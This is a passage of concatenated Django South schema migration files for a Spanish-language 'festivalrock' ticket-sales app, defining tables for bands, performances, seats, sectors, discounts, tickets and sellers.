'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'}),
'sectores': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Sector']", 'symmetrical': 'False'})
},
'festivalrock.perfilusuario': {
'Meta': {'object_name': 'PerfilUsuario'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'tipoUsuario': ('django.db.models.fields.CharField', [], {'max_length': '1'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'usuario': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.PerfilUsuario']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.PerfilUsuario']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Sector.color'
db.add_column('festivalrock_sector', 'color',
self.gf('django.db.models.fields.CharField')(default='red', max_length=10),
keep_default=False)
def backwards(self, orm):
# Deleting field 'Sector.color'
db.delete_column('festivalrock_sector', 'color')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'cantidadButacas': ('django.db.models.fields.IntegerField', [], {}),
'cantidadFilas': ('django.db.models.fields.IntegerField', [], {}),
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Banda'
db.create_table('festivalrock_banda', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(unique=True, max_length=50)),
('categoria', self.gf('django.db.models.fields.IntegerField')()),
))
db.send_create_signal('festivalrock', ['Banda'])
# Adding model 'Presentacion'
db.create_table('festivalrock_presentacion', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('horaInicio', self.gf('django.db.models.fields.TimeField')()),
('horaFin', self.gf('django.db.models.fields.TimeField')()),
('banda', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Banda'])),
))
db.send_create_signal('festivalrock', ['Presentacion'])
# Adding model 'Noche'
db.create_table('festivalrock_noche', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(max_length=20)),
('fecha', self.gf('django.db.models.fields.DateField')()),
))
db.send_create_signal('festivalrock', ['Noche'])
# Adding M2M table for field presentaciones on 'Noche'
m2m_table_name = db.shorten_name('festivalrock_noche_presentaciones')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('noche', models.ForeignKey(orm['festivalrock.noche'], null=False)),
('presentacion', models.ForeignKey(orm['festivalrock.presentacion'], null=False))
))
db.create_unique(m2m_table_name, ['noche_id', 'presentacion_id'])
# Adding model 'Festival'
db.create_table('festivalrock_festival', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(unique=True, max_length=50)),
('noches', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Noche'])),
))
db.send_create_signal('festivalrock', ['Festival'])
# Adding model 'Butaca'
db.create_table('festivalrock_butaca', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('numero', self.gf('django.db.models.fields.IntegerField')()),
('estado', self.gf('django.db.models.fields.CharField')(default='disponible', max_length=200)),
))
db.send_create_signal('festivalrock', ['Butaca'])
# Adding model 'Fila'
db.create_table('festivalrock_fila', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('numero', self.gf('django.db.models.fields.IntegerField')()),
))
db.send_create_signal('festivalrock', ['Fila'])
# Adding M2M table for field butacas on 'Fila'
m2m_table_name = db.shorten_name('festivalrock_fila_butacas')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('fila', models.ForeignKey(orm['festivalrock.fila'], null=False)),
('butaca', models.ForeignKey(orm['festivalrock.butaca'], null=False))
))
db.create_unique(m2m_table_name, ['fila_id', 'butaca_id'])
# Adding model 'Sector'
db.create_table('festivalrock_sector', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(unique=True, max_length=20)),
('importeEntradaBase', self.gf('festivalrock.utils.CurrencyField')(blank=True)),
('presentacion', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Presentacion'])),
('cantidadFilas', self.gf('django.db.models.fields.IntegerField')()),
('cantidadButacas', self.gf('django.db.models.fields.IntegerField')()),
))
db.send_create_signal('festivalrock', ['Sector'])
# Adding M2M table for field filas on 'Sector'
m2m_table_name = db.shorten_name('festivalrock_sector_filas')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('sector', models.ForeignKey(orm['festivalrock.sector'], null=False)),
('fila', models.ForeignKey(orm['festivalrock.fila'], null=False))
))
db.create_unique(m2m_table_name, ['sector_id', 'fila_id'])
# Adding model 'Descuento'
db.create_table('festivalrock_descuento', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(max_length=20)),
('porcentaje', self.gf('django.db.models.fields.DecimalField')(max_digits=4, decimal_places=2)),
))
db.send_create_signal('festivalrock', ['Descuento'])
# Adding model 'DescuentoAnticipada'
db.create_table('festivalrock_descuentoanticipada', (
('descuento_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Descuento'], unique=True, primary_key=True)),
('diasAnticipados', self.gf('django.db.models.fields.IntegerField')()),
('presentacion', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Presentacion'])),
))
db.send_create_signal('festivalrock', ['DescuentoAnticipada'])
# Adding model 'Entrada'
db.create_table('festivalrock_entrada', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('presentacion', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Presentacion'])),
('descuento', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Descuento'])),
('porcentajeDescuento', self.gf('django.db.models.fields.DecimalField')(max_digits=4, decimal_places=2)),
('codigoBarra', self.gf('django.db.models.fields.CharField')(max_length=20)),
))
db.send_create_signal('festivalrock', ['Entrada'])
# Adding model 'EntradaMenores'
db.create_table('festivalrock_entradamenores', (
('entrada_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Entrada'], unique=True, primary_key=True)),
))
db.send_create_signal('festivalrock', ['EntradaMenores'])
# Adding model 'EntradaMayores'
db.create_table('festivalrock_entradamayores', (
('entrada_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Entrada'], unique=True, primary_key=True)),
))
db.send_create_signal('festivalrock', ['EntradaMayores'])
# Adding model 'EntradaJubilados'
db.create_table('festivalrock_entradajubilados', (
('entrada_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Entrada'], unique=True, primary_key=True)),
))
db.send_create_signal('festivalrock', ['EntradaJubilados'])
# Adding model 'Vendedor'
db.create_table('festivalrock_vendedor', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('user', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['auth.User'], unique=True)),
('nombre', self.gf('django.db.models.fields.CharField')(max_length=50)),
))
db.send_create_signal('festivalrock', ['Vendedor'])
# Adding model 'Venta'
db.create_table('festivalrock_venta', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('butaca', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Butaca'], unique=True)),
('entradas', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.Entrada'])),
('vendedor', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['festivalrock.Vendedor'], unique=True)),
))
db.send_create_signal('festivalrock', ['Venta'])
# Adding model 'PuntoVenta'
db.create_table('festivalrock_puntoventa', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(max_length=20)),
))
db.send_create_signal('festivalrock', ['PuntoVenta'])
# Adding M2M table for field vendedor on 'PuntoVenta'
m2m_table_name = db.shorten_name('festivalrock_puntoventa_vendedor')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('puntoventa', models.ForeignKey(orm['festivalrock.puntoventa'], null=False)),
('vendedor', models.ForeignKey(orm['festivalrock.vendedor'], null=False))
))
db.create_unique(m2m_table_name, ['puntoventa_id', 'vendedor_id'])
# Adding M2M table for field festivales on 'PuntoVenta'
m2m_table_name = db.shorten_name('festivalrock_puntoventa_festivales')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('puntoventa', models.ForeignKey(orm['festivalrock.puntoventa'], null=False)),
('festival', models.ForeignKey(orm['festivalrock.festival'], null=False))
))
db.create_unique(m2m_table_name, ['puntoventa_id', 'festival_id'])
# Adding model 'CentroDeVenta'
db.create_table('festivalrock_centrodeventa', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('nombre', self.gf('django.db.models.fields.CharField')(max_length=20)),
('puntosDeVenta', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['festivalrock.PuntoVenta'])),
))
db.send_create_signal('festivalrock', ['CentroDeVenta'])
def backwards(self, orm):
# Deleting model 'Banda'
db.delete_table('festivalrock_banda')
# Deleting model 'Presentacion'
db.delete_table('festivalrock_presentacion')
# Deleting model 'Noche'
db.delete_table('festivalrock_noche')
# Removing M2M table for field presentaciones on 'Noche'
db.delete_table(db.shorten_name('festivalrock_noche_presentaciones'))
# Deleting model 'Festival'
db.delete_table('festivalrock_festival')
# Deleting model 'Butaca'
db.delete_table('festivalrock_butaca')
# Deleting model 'Fila'
db.delete_table('festivalrock_fila')
# Removing M2M table for field butacas on 'Fila'
db.delete_table(db.shorten_name('festivalrock_fila_butacas'))
# Deleting model 'Sector'
db.delete_table('festivalrock_sector')
# Removing M2M table for field filas on 'Sector'
db.delete_table(db.shorten_name('festivalrock_sector_filas'))
# Deleting model 'Descuento'
db.delete_table('festivalrock_descuento')
# Deleting model 'DescuentoAnticipada'
db.delete_table('festivalrock_descuentoanticipada')
# Deleting model 'Entrada'
db.delete_table('festivalrock_entrada')
# Deleting model 'EntradaMenores'
db.delete_table('festivalrock_entradamenores')
# Deleting model 'EntradaMayores'
db.delete_table('festivalrock_entradamayores')
# Deleting model 'EntradaJubilados'
db.delete_table('festivalrock_entradajubilados')
# Deleting model 'Vendedor'
db.delete_table('festivalrock_vendedor')
# Deleting model 'Venta'
db.delete_table('festivalrock_venta')
# Deleting model 'PuntoVenta'
db.delete_table('festivalrock_puntoventa')
# Removing M2M table for field vendedor on 'PuntoVenta'
db.delete_table(db.shorten_name('festivalrock_puntoventa_vendedor'))
# Removing M2M table for field festivales on 'PuntoVenta'
db.delete_table(db.shorten_name('festivalrock_puntoventa_festivales'))
# Deleting model 'CentroDeVenta'
db.delete_table('festivalrock_centrodeventa')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'cantidadButacas': ('django.db.models.fields.IntegerField', [], {}),
'cantidadFilas': ('django.db.models.fields.IntegerField', [], {}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
